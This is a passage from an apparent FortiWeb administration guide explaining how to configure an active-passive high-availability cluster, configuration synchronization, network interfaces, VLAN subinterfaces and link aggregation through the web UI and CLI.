When the former active appliance comes back online, it may or may not assume its former active role. For an explanation, see “How HA chooses the active appliance” on page 42. (At this time, when an appliance is rejoining the cluster, FortiWeb will also send gratuitous ARP packets. This helps to ensure that traffic is not accidentally forwarded to both the current and former active appliance in cases where the cluster is connected through 2 switches.)

Figure 17 shows an example HA network topology with IP address transfer from the active appliance to the standby appliance upon failover. In this example, the primary heartbeat link is formed by a crossover cable between the two port3 physical network ports; the secondary heartbeat link is formed between the two port4 physical network ports.

To configure FortiWeb appliances that are operating in HA mode, you usually connect only to the active appliance. The active unit's configuration is almost entirely synchronized to the passive appliance, so that changes made to the active appliance are propagated to the standby appliance, ensuring that it will be prepared for a failover.

Exceptions to this rule include:

- connecting to a standby appliance in order to view log messages recorded about the standby appliance itself on its own hard disk
- connecting to a standby appliance to configure settings that are not synchronized (see “Configuration settings that are not synchronized by HA” on page 41)

To configure HA

1. If the HA cluster will use FortiGuard services, license **all** FortiWeb appliances in the HA group, and register them with the Fortinet Technical Support web site:

<https://support.fortinet.com/>



If you license only the primary appliance in an active-passive HA group, after a failover, the secondary appliance will not be able to use the FortiGuard service. This could cause traffic to be scanned with out-of-date definitions, potentially allowing newer attacks.

2. Cable both appliances into a redundant network topology.

For an example, see Figure 17 on page 96.

3. Physically link the FortiWeb appliances that will be members of the HA cluster.

You must link at least one of their ports (e.g. port4 to port4) for heartbeat and synchronization traffic between members of the cluster. You can either:

- link two appliances directly via a crossover cable
- link the appliances through a switch

If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast.



Maintain the heartbeat link(s). If the heartbeat is accidentally interrupted for an active-passive HA group, such as when a network cable is temporarily disconnected, the secondary appliance will assume that the primary unit has failed, and become the new primary appliance. If no failure has actually occurred, both FortiWeb appliances will be operating as primary appliances simultaneously.



To avoid unintentional failovers due to accidental detachment or hardware failure of a single heartbeat link, make **two** heartbeat links.

For example, you might link port3 to port3 on the other appliance, and link port4 to port4 on the other appliance, then configure both appliances to use those network interfaces for heartbeat and synchronization.



If you link HA appliances through switches, to improve fault tolerance and reliability, link the ports through two **separate** switches. Do **not** connect these switches to your overall network, which could introduce a potential attack point, and could also allow network load to cause latency in the heartbeat, which could cause an unintentional failover.

4. Log in to **both** appliances as the `admin` administrator account.

Accounts whose access profile includes *Read* and *Write* permissions to the *System Configuration* area can configure HA, but may not be able to use features that may be necessary when using HA, such as logs and network configuration.

5. On both appliances, go to *System > Config > HA-Config*.

High Availability Configuration	
Configured HA mode	Standalone ▼
Apply	

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46](#).

By default, each FortiWeb appliance operates as a single, standalone appliance: only the *Configured HA mode* drop-down list appears, with the *Standalone* option selected.

6. From *Configured HA mode*, select *Active-Passive*.



Fail-open is disabled when the FortiWeb appliance is configured as part of an HA pair. For information on fail-to-wire, see [“Fail-to-wire for power loss/reboots” on page 507](#).

Additional options appear that enable you to configure HA.

7. Configure these settings:

High Availability Configuration

Configured HA mode Active-Passive ▾

Group-name

Device Priority (0-9)

Override ☒

HA Member	Serial Number	Priority	HA Role
	FV-1KC3R11700136	5	standby
	FV-1KC3R11700094	1	main

Group ID

Detection Interval (100ms)

Heartbeat Lost Threshold

ARP Packet Numbers

ARP Packet Interval(sec)

	Port Monitor	Heartbeat Interface	
		Primary	Secondary
port1	☒	☐	☐
port2	☒	☐	☐
port3	☐	☒	☐
port4	☐	☐	☒

Apply

Setting name	Description
Group-name	Type a name to identify the HA pair if you have more than one. This setting is optional, and does not affect HA function. The maximum length is 35 characters.
Device Priority	Type the priority of the appliance when electing the primary appliance in the HA pair. (On standby devices, this setting can be reconfigured using the CLI command <code>execute ha manage <serial-number_str> <priority_int></code>. For details, see the FortiWeb CLI Reference.) This setting is optional. The smaller the number, the higher the priority. The valid range is 0 to 9. The default is 5. Note: By default, unless you enable Override, uptime is more important than this setting. For details, see “How HA chooses the active appliance” on page 42.
Override	Enable to make Device Priority a more important factor than uptime when selecting the main appliance. See “How HA chooses the active appliance” on page 42.

Setting name	Description
Group ID	Type a number that identifies the HA pair. Both members of the HA pair must have the same group ID. If you have more than one HA pair on the same network, each HA pair must have a different group ID. Changing the group ID changes the cluster's virtual MAC address. The valid range is 0 to 63. The default value is 0.
Detection Interval	Type the number of 100-millisecond intervals to set the pause between each heartbeat packet that the one FortiWeb appliance sends to the other FortiWeb appliance in the HA pair. This is also the amount of time that a FortiWeb appliance waits before expecting to receive a heartbeat packet from the other appliance. This part of the configuration is synchronized between the active appliance and standby appliance. The valid range is 1 to 20 (that is, between 100 and 2,000 milliseconds). Note: Although this setting is synchronized between the main and standby appliances, you should initially configure both appliances with the same Detection Interval to prevent inadvertent failover from occurring before the initial synchronization.
Heartbeat Lost Threshold	Type the number of times one of HA appliances retries the heartbeat and waits to receive HA heartbeat packets from the other HA appliance before assuming that the other appliance has failed. This part of the configuration is synchronized between the main appliance and standby appliance. Normally, you do not need to change this setting. Exceptions include: • Increase the failure detection threshold if a failure is detected when none has actually occurred. For example, during peak traffic times, if the main appliance is very busy, it might not respond to heartbeat packets in time, and the standby appliance may assume that the main appliance has failed. • Reduce the failure detection threshold or detection interval if administrators and HTTP clients have to wait too long before being able to connect through the main appliance, resulting in noticeable down time. The valid range is from 1 to 60. Note: Although this setting is synchronized between the main and standby appliances, you should initially configure both appliances with the same Heartbeat Lost Threshold to prevent inadvertent failover from occurring before the initial synchronization.

Setting name	Description
Port Monitor	Mark the check boxes of one or more network interfaces that each directly correlate with a physical link. These ports will be monitored for link failure. Port monitoring (also called interface monitoring) monitors physical network ports to verify that they are functioning properly and linked to their networks. If the physical port fails or the cable becomes disconnected, a failover occurs. You can monitor physical interfaces, but not VLAN subinterfaces or 4-port switches. Note: To prevent an unintentional failover, do not configure port monitoring until you configure HA on both appliances in the HA pair, and have plugged in the cables to link the physical network ports that will be monitored.
Heartbeat Interface	Select which port(s) on this appliance that the main and standby appliances will use to send heartbeat signals and synchronization data between each other (i.e. the HA heartbeat link). Connect this port to the same port number on the other member of the HA cluster. (e.g., If you select <i>port3</i> for the primary heartbeat link, connect port3 on this appliance to port3 on the other appliance.) At least one heartbeat interface must be selected on each appliance in the HA cluster. Ports that currently have an IP address assigned for other purposes (that is, virtual servers or bridges) cannot be re-used as a heartbeat link. Tip: If enough ports are available, you can select both a primary heartbeat interface and a secondary heartbeat interface on each appliance in the HA pair to provide heartbeat link redundancy. (You cannot use the same port as both the primary and secondary heartbeat interface on the same appliance, as this is incompatible with the purpose of link redundancy.) Note: If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast.

8. Click *Apply*.

Both appliances join the HA cluster by matching their *Group ID*. They begin to send heartbeat and synchronization traffic to each other through their heartbeat links.

To determine which appliance currently has the role of the main appliance, on *System > Config > HA-Config*, in the *HA Member* table, view the *HA Role* column:

- *main* — The appliance in this row is currently **active**. The active appliance applies policies to govern the traffic passing to your web servers. Also called the primary, master, or main appliance.
- *standby* — The appliance in this row is currently **passive**, and is **not** actively applying policies. The passive appliance listens to heartbeat traffic and port monitoring for signs that the main appliance may have become unresponsive, at which point it will assume the role of the main appliance. Also called the secondary or standby appliance.

High Availability Configuration

Configured HA mode

Group-name

Device Priority

Override

HA Member

Group ID

Detection Interval

Heartbeat Lost Threshold

ARP Packet Numbers

ARP Packet Interval(sec)

Active-Passive ▾

wasp

2

(0-9)

☒

Serial Number	Priority	HA Role
FV-1KC3R11700136	5	standby
FV-1KC3R11700094	1	main

0

3

(100ms)

3

3

1

	Port Monitor	Heartbeat Interface	
		Primary	Secondary
port1	☒	☐	☐
port2	☒	☐	☐
port3	☐	☒	☐
port4	☐	☐	☒

Apply

If both appliances believe that they are the main:

- Test the cables and/or switches in the heartbeat link to verify that the link is functional.
- Verify that you have selected the heartbeat port or ports in *Heartbeat Interface*. Make sure that the primary and secondary link is not crossed (that is, the primary heartbeat interface is not connected to the secondary heartbeat interface on the other appliance).
- Verify that the *Group ID* matches on both appliances.
- Verify that the ports on *Port Monitor* are linked and up (available).
- If the heartbeat link passes through switches and/or routers, you may need to adjust the time required after a reboot to assess network availability before electing the main appliance. For details, see the `boot-time <seconds_int>` setting in the *FortiWeb CLI*

Reference.

- For debugging logs, use the `diagnose system ha status` and `diagnose debug application hataalk level` commands. For details, see the [FortiWeb CLI Reference](#).

9. To monitor the HA cluster for failover, you can use SNMP (see [“Configuring an SNMP community” on page 568](#)), log messages, and alert email (see [“Configuring logging” on page 532](#)).

If failover time is too long, adjust the following:

Setting name	Description
ARP Packet Numbers	Type the number of times that the FortiWeb appliance will broadcast extra address resolution protocol (ARP) packets when it takes on the main role. (Even though a new NIC has not actually been connected to the network, FortiWeb does this to notify the network that a new physical port has become associated with the IP address and virtual MAC of the HA pair.) This is sometimes called “using gratuitous ARP packets to train the network,” and can occur when the main appliance is starting up, or during a failover. Also configure ARP Packet Interval. Normally, you do not need to change this setting. Exceptions include: • Increase the number of times the main appliance sends gratuitous ARP packets if your HA pair takes a long time to fail over or to train the network. Sending more gratuitous ARP packets may help the failover to happen faster. • Decrease the number of times the main appliance sends gratuitous ARP packets if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could reduce the number of times gratuitous ARP packets are sent to reduce the amount of traffic produced by a failover. The valid range is 1 to 16.
ARP Packet Interval	Type the number of seconds to wait between each broadcast of ARP packets. Normally, you do not need to change this setting. Exceptions include: • Decrease the interval if your HA pair takes a long time to fail over or to train the network. Sending ARP packets more frequently may help the failover to happen faster. • Increase the interval if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could increase the interval between when gratuitous ARP packets are sent to reduce the rate of traffic produced by a failover. The valid range is from 1 to 20.



If your HA link passes through switches and/or routers, and inadvertent failovers occur when rebooting the HA pair, you can increase the maximum time to wait for a heartbeat signal after a reboot by configuring `boot-time <limit_int>`. See the [FortiWeb CLI Reference](#).

See also

- [Updating firmware on an HA pair](#)
- [SNMP traps & queries](#)
- [HA heartbeat & synchronization](#)
- [How HA chooses the active appliance](#)
- [Configuration settings that are not synchronized by HA](#)
- [Fail-to-wire for power loss/reboots](#)
- [Topologies for high availability \(HA\) clustering](#)
- [Replicating the configuration without FortiWeb HA \(external HA\)](#)

Replicating the configuration without FortiWeb HA (external HA)


Configuration synchronization provides the ability to duplicate the configuration from another FortiWeb appliance **without** using FortiWeb high availability (HA). The synchronization is unilateral: it will not delete unique items on the target FortiWeb. Rather, it will add any missing items, and overwrite any items that are identically named.

Replicating the configuration can be useful in some scenarios where you cannot use, or do not want, FortiWeb HA:

- **External active-active HA** (load balancing) could be provided by the firewall, the router, or an HTTP-aware load balancer, since active-active HA is not provided by FortiWeb itself.
- **External active-passive HA** (failover) could be provided by a specialized failover device, instead of the FortiWeb appliances themselves, for network load distribution, latency, and performance optimization reasons. The failover device must monitor for live routes.
- **Multiple identical non-HA** FortiWeb appliances in physically distant locations with the same network scheme might be required to have the same (maybe with a few extra different) server policies, and therefore management could be simplified by configuring one FortiWeb and then replicating that to the others.

In such cases, you may be able to save time and preserve your existing network topology by synchronizing a FortiWeb appliance's configuration with another FortiWeb. This way, you do **not** need to individually configure each one, and do **not** need to use FortiWeb HA.

Figure 18:Example network topology: Configuration synchronization with multiple identical FortiWeb appliances (non-HA)



Configuration synchronization is **not** a complete replacement for HA. Each synchronized FortiWeb does **not** keep any heartbeat link (no failover will occur and availability will not be increased) nor does it balance load with the other. Additionally, configuration synchronization will **not** remove differently-named items on the target FortiWeb, nor will it import items that exist on the target but not on your local FortiWeb.

If you require such features, either use FortiWeb HA instead, or augment configuration synchronization with an external HA/load balancing device.

Like HA, due to hardware-based differences in valid settings, configuration synchronization requires that both FortiWeb appliances be of the **same model**. You cannot, for example, synchronize a FortiWeb-VM and FortiWeb 1000C.

You can configure which port number the appliance uses to synchronize its configuration. See [“Config-Sync” on page 51](#).


Synchronize each time you change the configuration, and are ready to propagate the changes. Unlike FortiWeb HA, configuration synchronization is **not** automatic and continuous. Changes will only be pushed when you manually initiate it.

To replicate the configuration from another FortiWeb



Back up your system before changing the operation mode (see [“Backups” on page 204](#)). Synchronizing the configuration overwrites the existing configuration, and cannot be undone without restoring the configuration from a backup.

1. Go to *System > Config > Config-Synchronization*.



To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Network Configuration* category. For details, see [“Permissions” on page 46](#).

2. In *Peer FortiWeb IP*, type the IP address of the remote FortiWeb appliance that you want to receive configuration items from your local FortiWeb appliance.
3. In *Peer FortiWeb Port*, type the port number that the remote FortiWeb appliance uses to listen for configuration synchronization. The default port is 8333.
4. In *Peer FortiWeb Password*, type the password of the administrator account named `admin` on the other FortiWeb appliance.
5. In *Synchronization Type*, select either:
 - *Full* — All configuration except:
 - Network interfaces
 - Administrator accounts
 - Access profiles
 - Web UI settings



This option is not available if the FortiWeb appliance is operating in reverse proxy mode. See also [“Supported features in each operation mode” on page 61](#).

- *Partial* — All configuration except:
 - *System*
 - *Router > Static > Static Route*
 - *Policy > Web Protection Profile*
 - *Server Objects > Server Health Check*
 - *Server Objects > Service*
 - *Policy > Server Policy > Server Policy*

To test the connection settings, click *Test*. Results appear in a pop-up window. If the configuration sync test connection succeeds, this message should appear:

Service is available...

If the following message appears:

Service isn't available...

verify that:

- the other FortiWeb is the same model
- the other FortiWeb is configured to listen on your indicated configuration sync port number (see [“Config-Sync” on page 51](#))
- the other FortiWeb's `admin` account password matches
- firewalls and routers between the two FortiWebs allow the connection

6. Click *Synchronize*.

A dialog appears, warning you that all policies and profiles with identical names will be overwritten on the other FortiWeb, and asking if you want to continue.

7. Click *Yes*.

The FortiWeb appliance sends its configuration to the other, which synchronizes any identically-named policies and settings. Time required varies by the size of the configuration and the speed of the network connection. When complete, this message should appear:

Config. synchronized successfully.

See also

- [Topologies for high availability \(HA\) clustering](#)
- [Configuring a high availability \(HA\) FortiWeb cluster](#)

Configuring the network settings

When shipped, each of the FortiWeb appliance's physical network adapter ports (or, for FortiWeb-VM, vNICs) has a default IP address and netmask. If these IP addresses and netmasks are not compatible with the design of your unique network, you must configure them.

Table 9: Default IP addresses and netmasks

Network Interface*	IPv4 Address/Netmask	IPv6 Address/Netmask
port1	192.168.1.99/24	::/0
port2	0.0.0.0/0	::/0
port3	0.0.0.0/0	::/0
port4	0.0.0.0/0	::/0

* The number of network interfaces varies by model.

You also must configure FortiWeb with the IP address of your DNS servers and gateway router.

You can use either the web UI or the CLI to configure these basic network settings.



If you are installing a FortiWeb-VM virtual appliance, and you followed the instructions in the [FortiWeb-VM Install Guide](#), you have already configured some of the settings for `port1`. To fully configure **all** of the network interfaces, you **must** complete this chapter.


Network interface or bridge?

To connect to the CLI and web UI, you **must** assign at least one FortiWeb network interface (usually `port1`) with an IP address and netmask so that it can receive your connections. Depending on your network, you usually must configure others so that FortiWeb can connect to the Internet and to the web servers it protects.

How should you configure the other network interfaces? Should you add more? Should each have an IP address? That varies. In some cases, you may **not** want to assign IP addresses to the other network interfaces.

Initially, each physical network port (or, on FortiWeb-VM, a vNIC) has only one network interface that directly corresponds to it — that is, a “physical network interface.” Multiple network interfaces (“subinterfaces” or “virtual interfaces”) can be associated with a single physical port,

and vice versa (“redundant interfaces”/“NIC teaming”/“NIC bonding” or “aggregated links”). These can provide features such as link failure resilience or multi-network links.



FortiWeb does not currently support IPSec VPN virtual interfaces nor redundant links. If you require these features, implement them separately on your FortiGate, VPN appliance, or firewall.

Usually, each network interface has at least one IP address and netmask. However, this is not true for bridges.

Bridges (V-zones) allow packets to travel between the FortiWeb appliance’s physical network ports over a physical layer link, **without** an IP layer connection with those ports.

Use bridges when:

- the FortiWeb appliance operates in true transparent proxy or transparent inspection mode, and
- you want to deploy FortiWeb between incoming connections and the web server it is protecting, **without** changing your IP address scheme or performing routing or network address translation (NAT)

For bridges, do **not** assign IP addresses to the ports that you will connect to either the web server or to the overall network. Instead, group the two physical network ports by adding their associated network interfaces to a bridge.

Configure each network interface that will connect to your network or computer (see [“Configuring the network interfaces” on page 111](#) or [“Configuring a bridge \(V-zone\)” on page 120](#)). If you want multiple networks to use the same wire while minimizing the scope of broadcasts, configure VLANs (see [“Adding VLAN subinterfaces” on page 115](#)).

See also

- [Configuring the network interfaces](#)
- [Adding VLAN subinterfaces](#)
- [Link aggregation](#)
- [Configuring a bridge \(V-zone\)](#)

Configuring the network interfaces

You can configure network interfaces either via the web UI or the CLI. If your network uses VLANs, you can also configure VLAN subinterfaces. For details, see [“Adding VLAN subinterfaces”](#) on page 115.



If the FortiWeb appliance is operating in true transparent proxy or transparent inspection mode and you will configure a V-zone (bridge), do **not** configure any physical network interfaces other than port1. Configured NICs cannot be added to a bridge. For details, see [“Configuring a bridge \(V-zone\)”](#) on page 120.



If this FortiWeb will belong to a FortiWeb HA cluster, do **not** configure any network interface that will be used as an HA heartbeat and synchronization link. If you are re-cabling your network and must configure it, connect and switch to the new HA link **first**. Failure to do so could cause unintentional downtime, failover, and ignored IP address configuration. To switch the HA link, see [“Configuring a high availability \(HA\) FortiWeb cluster”](#) on page 95.

To configure a network interface's IP address via the web UI

1. Go to *System > Network > Interface*.

Create New Edit Delete									
#	Name	IPv4 / Netmask	IPv4 Access	IPv6 / Netmask	IPv6 Access	Status	Link Status	Type	Ref.
	port1	172.20.120.47/24	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	+	Physical	3
	port2	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	+	Physical	1
	vlan200	192.0.2.10/24		::/0		Bring Down	+	VLAN	0
	port3	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	+	Physical	0
	port4	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	+	Physical	0

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Network Configuration* category. For details, see [“Permissions”](#) on page 46.



If the network interface's *Status* column is *Bring Up*, its administrative status is currently “down” and it will not receive or emit packets, even if you otherwise configure it. To bring up the network interface, click the *Bring Up* link.



This *Status* column is **not** the detected physical link status; it is the administrative status that indicates whether you permit network interface to receive and/or transmit packets.

For example, if the cable is physically unplugged, `diagnose hardware nic list port1` or “[Operation widget](#)” on [page 527](#) may indicate that the link is down, even though you have administratively enabled it by clicking *Bring Up*.

By definition, HA heartbeat and synchronization links should always be “up.” Therefore, if you have configured FortiWeb to use a network interface for HA, its *Status* column will always display *HA Member*.

2. Click the row of the network interface that you want to modify.

The *Edit Interface* dialog appears. *Name* displays the name and media access control (MAC) address of this network interface. The network interface is directly associated with one physical link as indicated by its name, such as *port2*.

In HA, it may use a virtual MAC instead. See “[HA heartbeat & synchronization](#)” on [page 39](#) and “[Configuring a high availability \(HA\) FortiWeb cluster](#)” on [page 95](#).

3. Configure these settings:

Setting name	Description
IP/Netmask	Type the IP address and subnet mask, separated by a forward slash (/), such as 192.0.2.2/24 for an IPv4 address or 2001:0db8:85a3:::8a2e:0370:7334/64 for an IPv6 address. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.
Administrative Access	Enable the types of administrative access that you want to permit to this interface. These options do not disable outgoing administrative connections, such as update polling connections to the FDN or outgoing ICMP resulting from a CLI command such as <code>execute ping</code>. Neither do they govern traffic destined for a web server or virtual server, which are governed by policies. These options only govern incoming connections destined for the appliance itself. Caution: Enable only on network interfaces connected to trusted private networks (defined in Trusted Host #1, Trusted Host #2, Trusted Host #3) or directly to your management computer. If possible, enable only secure administrative access protocols such as HTTPS or SSH. Failure to restrict administrative access could compromise the security of your FortiWeb appliance. Note: Administrative access cannot be configured for VLAN subinterfaces, except for <i>PING</i>.
HTTPS	Enable to allow secure HTTPS connections to the web UI through this network interface. To configure the listening port number, see “Global web UI & CLI settings” on page 50.

Setting name	Description
PING	Enable to allow: - ICMP type 8 (ECHO_REQUEST) - UDP ports 33434 to 33534 for <code>ping</code> and <code>traceroute</code> to be received on this network interface. When it receives an ECHO_REQUEST (“ping”), FortiWeb will reply with ICMP type 0 (ECHO_RESPONSE or “pong”). Note: Disabling <i>PING</i> only prevents FortiWeb from receiving ICMP type 8 (ECHO_REQUEST) and traceroute-related UDP. It does not disable FortiWeb CLI commands such as <code>execute ping</code> or <code>execute traceroute</code> that send such traffic.
HTTP	Enable to allow HTTP connections to the web UI through this network interface. To configure the listening port number, see “Global web UI & CLI settings” on page 50. Caution: HTTP connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
SSH	Enable to allow SSH connections to the CLI through this network interface.
SNMP	Enable to allow SNMP queries to this network interface, if queries have been configured and the sender is a configured SNMP manager. To configure the listening port number and configure queries and traps, see “SNMP traps & queries” on page 567.
TELNET	Enable to allow Telnet connections to the CLI through this network interface. Caution: Telnet connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
Description	Type a comment. The maximum length is 63 characters. Optional.

4. Click **OK**.

If you were connected to the web UI through this network interface, you are now disconnected from it.

5. To access the web UI again, in your web browser, modify the URL to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 10.10.10.5, you would browse to: `https://10.10.10.5`

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance’s new IP address.

To configure a network interface's IPv4 address via the CLI

Enter the following commands:

```
config system interface
  edit <interface_name>
    set ip <address_ipv4mask> <netmask_ipv4mask>
    set allowaccess {http https ping snmp ssh telnet}
  end
```

where:

- <interface_name> is the name of a network interface
- <address_ipv4> is the IP address assigned to the network interface
- <netmask_ipv4mask> is its netmask in dotted decimal format
- {http https ping snmp ssh telnet} is a space-delimited list of zero or more administrative protocols that you want to allow to access the FortiWeb appliance through the network interface



HTTP and Telnet connections are **not** secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.

If you were connected to the CLI through this network interface, you are now disconnected from it.

To access the CLI again, in your terminal client, modify the address to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 172.16.1.20, you would connect to that IP address.

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance's new IP address.

Adding VLAN subinterfaces

You can add a virtual local area network (VLAN) subinterface to a network interface or bridge on the FortiWeb appliance.

Similar to a local area network (LAN), use a [IEEE 802.1q](#) VLAN to reduce the size of a broadcast domain and thereby reduce the amount of broadcast traffic received by network hosts, improving network performance.



VLANs are **not** designed to be a security measure, and should not be used where untrusted devices and/or individuals outside of your organization have access to the equipment. VLAN tags are not authenticated, and can be ignored or modified by attackers. VLAN tags rely on the voluntary compliance of the receiving host or switch.

Unlike physical LANs, VLANs do not require you to install separate hardware switches and routers to achieve this effect. Instead, VLAN-compliant switches, such as FortiWeb appliances, restrict broadcast traffic based upon whether its VLAN ID matches that of the destination network. As such, VLAN trunks can be used to join physically distant broadcast domains as if they were close.

The VLAN ID is part of the tag that is inserted into each Ethernet frame in order to identify traffic for a specific VLAN. VLAN header addition is handled automatically by FortiWeb appliances, and does not require that you adjust the maximum transmission unit (MTU). Depending on

whether the device receiving a packet operates at Layer 2 or Layer 3 of the network, this tag may be added, removed, or rewritten before forwarding to other nodes on the network.

For example, a Layer 2 switch or FortiWeb appliance operating in true transparent proxy mode would typically add or remove a tag when forwarding traffic among members of the VLAN, but would **not** route tagged traffic to a different VLAN ID. In contrast, a FortiWeb appliance operating in reverse proxy mode, inspecting the traffic to make routing decisions based upon higher-level layers/protocols, might route traffic between different VLAN IDs (also known as inter-VLAN routing) if indicated by its policy, such as if it has been configured to do content-based routing.


Cisco Discovery Protocol (CDP) is supported for VLANs, including when FortiWeb is operating in either of the transparent modes.

To configure a VLAN subinterface

1. Go to *System > Network > Interface*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Network Configuration* category. For details, see [“Permissions” on page 46](#).

2. Mark the check box next to the physical network interface associated with the physical network port where you want to create the VLAN subinterface.
3. Click *Create New*.
A dialog appears.
4. Configure these settings:



Setting name	Description
Name	Type the name (such as <code>vlan100</code>) of this VLAN subinterface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. Tip: The name cannot be changed once you save the entry. For a workaround, see “Renaming entries” on page 57 .
Interface	Select the name of the physical network port with which the VLAN subinterface will be associated.

Setting name	Description
VLAN ID	Type the VLAN ID , such as 100, of packets that belong to this VLAN subinterface. - If one physical network port (that is, a VLAN trunk) will handle multiple VLANs, create multiple VLAN subinterfaces on that port, one for each VLAN ID that will be received. - If multiple different physical network ports will handle the same VLANs, on each of the ports, create VLAN subinterfaces that have the same VLAN IDs. The valid range is between 1 and 4094 and must match the VLAN ID added by the IEEE 802.1q-compliant router or switch connected to the VLAN subinterface. For the maximum number of interfaces for your FortiWeb model, including VLAN subinterfaces, see “Appendix B: Maximum configuration values” on page 654. Note: Inter-VLAN routing is not supported if the FortiWeb appliance is operating in true transparent proxy mode. In that case, you must configure the same VLAN IDs on each physical network port.
IP/Netmask	Type the IP address/subnet mask associated with the VLAN, if any. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.

5. Click **OK**.

Your new VLAN is initially hidden in the list of network interfaces.

To expand the network interface listing in order to view all of a port's associated VLANs, click the blue disclosure arrow next to the name of the port.

#	Name	IPv4 / Netmask	IPv4 Access	IPv6 / Netmask	IPv6 Access	Status	Link Status	Type	Ref.
☐	port1	172.20.120.47/24	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	⬆	Physical	3
☒	port2	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	⬆	Physical	1
☐	vlan200	192.0.2.10/24		::/0		Bring Down	⬆	VLAN	0
☐	port3	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	⬆	Physical	0
☐	port4	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	⬆	Physical	0

See also

- [Network interface or bridge?](#)
- [Configuring a bridge \(V-zone\)](#)
- [Link aggregation](#)
- [Configuring DNS settings](#)
- [Adding a gateway](#)
- [Fail-to-wire for power loss/reboots](#)
- [Global web UI & CLI settings](#)

Link aggregation

You can configure a network interface that is the bundle of several physical links via either the web UI or the CLI.



Link aggregation is currently supported only when FortiWeb is deployed in reverse proxy mode. It cannot be applied to VLAN subinterfaces, nor to ports that are used for the HA heartbeat. It is not supported in FortiWeb-VM.

Link aggregation (also called NIC teaming/bonding or link bundling) forms a network interface that queues and transmits over multiple wires (also called a port channel), instead of only a single wire (as FortiWeb would normally do with a single network interface per physical port). This multiplies the bandwidth that is available to the network interface, and therefore is useful if FortiWeb will be inline with your network backbone.

Link aggregation on FortiWeb complies with [IEEE 802.3ad](#) and distributes Ethernet frames using a modified round-robin behavior. If a port in the aggregate fails, traffic is redistributed automatically to the remaining ports with the only noticeable effect being a reduced bandwidth. When broadcast or multicast traffic is received on a port in the aggregate, reverse traffic will return on the same port.

When link aggregation uses a round-robin that considers only Layer 2, Ethernet frames that comprise an HTTP request can sometimes arrive out of order. Because network protocols at higher layers often do not gracefully handle this (especially TCP, which may decrease network performance by requesting retransmission when the expected segment does not arrive), FortiWeb's frame distribution algorithm is configurable.

For example, if you notice that performance with link aggregation is not as high as you expect, you could try configuring FortiWeb to queue related frames consistently to the same port by considering the IP session (Layer 3) and TCP connection (Layer 4), not simply the MAC address (Layer 2).

You **must** also configure the router, switch, or other link aggregation control protocol (LACP)-compatible device at the other end of FortiWeb's network cables to match, with identical:

- link speed
- duplex/simplex setting
- ports that can be aggregated

This will allow the two devices to use the cables between those ports to form a trunk, **not** an accidental Layer 2 (link) network loop. FortiWeb will use LACP to:

- detect suitable links between itself and the other device, and form a single logical link
- detect individual port failure so that the aggregate can redistribute queuing to avoid a failed port

To configure a link aggregate interface

1. Go to *System > Network > Interface*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Network Configuration* category. For details, see ["Permissions" on page 46](#).

2. Mark the check box next to the 2 or more physical network interfaces associated with the physical network ports that you want to aggregate into a single logical interface.

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Setting name	Description
Name	Type the name (such as <code>agg</code>) of this logical interface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. Tip: The name cannot be changed once you save the entry. For a workaround, see “Renaming entries” on page 57 .
Type	Select <i>802.3ad Aggregate</i> .
